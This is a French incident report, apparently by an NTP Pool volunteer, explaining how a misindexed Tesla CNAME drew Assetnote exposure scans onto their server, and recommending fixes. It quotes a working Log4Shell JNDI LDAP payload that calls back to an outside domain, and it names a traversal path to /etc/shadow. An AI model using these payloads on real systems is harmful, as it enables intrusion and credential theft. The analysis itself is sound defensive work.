Contexte de l’incident

Le 13 septembre 2026, les journaux nginx du serveur 67.215.249.229, membre du NTP Pool, ont enregistré plus de 8 000 requêtes provenant de trois adresses IP appartenant à Amazon Web Services (54.165.75.96, 35.168.63.24 et 52.44.200.251). Chaque requête utilisait le Host ou le Referer pool-ntp.tesla.com et présentait un User‑Agent « Assetnote/1.0.0 (ExposureScan) », indiquant un scanner d’exposition automatisé.

Mécanisme du scan et vecteurs d’exploitation

Les requêtes contenaient des charges utiles typiques de Log4Shell et de SSRF. Par exemple, l’une des lignes de log montre :

GET /?a=%3Cscript%20src=${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}>alert()%3C/script%3E HTTP/1.1" 299 817 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 ${jndi${:-:}ldap${:-:}//waf6.${date:MM-dd-yyyy}.pool-ntp.tesla.com.log4j.assetnote-callback.com/}" host=pool-ntp.tesla.com

Cette requête tente d’injecter une chaîne JNDI LDAP pointant vers un domaine log4j.assetnote-callback.com, technique utilisée pour détecter la vulnérabilité Log4Shell (CVE‑2021‑44228). D’autres requêtes visaient des chemins de traversée (../../../etc/shadow) ou des endpoints WordPress, démontrant une approche « brute‑force » couvrant plusieurs vecteurs d’exploitation.

Analyse des causes d’errance du ciblage

Le sous‑domaine pool-ntp.tesla.com est un CNAME vers pool.ntp.org, qui résout à un ensemble de serveurs volontaires, dont le serveur de l’auteur. Assetnote, intégré à la plateforme Searchlight Cyber, semble avoir indexé pool-ntp.tesla.com comme un actif interne de Tesla, puis appliqué ses modèles d’exploitation standards à chaque adresse résolue. L’absence de séparation entre le domaine de marque (tesla.com) et le service public (pool.ntp.org) a donc entraîné une « fausse positivité » d’inventaire.

Le fait que les scanners utilisent des en‑têtes Host et Referer contenant le sous‑domaine ciblé indique que le moteur d’injection ne filtre pas les résolutions DNS externes. De plus, la présence de requêtes avec des hôtes comme login.solarcity.com ou servicemcdonalds.com montre que les modèles de payload sont générés à partir de listes de domaines tiers, sans validation de la légitimité du ciblage.

Implications et mesures correctives

Sur le plan de la cybersécurité, cet incident illustre le risque de « scan collateral » lorsqu’un fournisseur de services expose des sous‑domaines publics via des CNAME vers des infrastructures partagées. Les exploitations automatisées peuvent saturer les ressources du serveur, générer des logs volumineux et, dans le pire des cas, déclencher des vulnérabilités réelles si le service exposé est mal configuré.

Les mesures recommandées sont :

1. Séparer les zones DNS internes et publiques : créer un sous‑domaine dédié (ntp.tesla.com) pointant vers des serveurs contrôlés, évitant ainsi que le CNAME vers le pool public soit indexé comme actif interne.

2. Restreindre les scans automatisés : publier un fichier robots.txt ou un X‑Robots‑Tag indiquant explicitement que les adresses du NTP Pool ne doivent pas être soumises à des tests d’intrusion.

3. Mettre en place un filtrage d’en‑têtes : bloquer les requêtes contenant des hôtes ou référents non autorisés, notamment les domaines de callback *.assetnote-callback.com, afin de limiter les tentatives de SSRF et de Log4Shell.

Enfin, la communication avec le fournisseur (Tesla) a permis de clarifier le problème : il s’agit d’une mauvaise configuration d’inventaire, non d’une vulnérabilité du service Tesla. Une fois le CNAME corrigé, les scanners devraient cesser d’envoyer du trafic indésirable vers les serveurs du NTP Pool.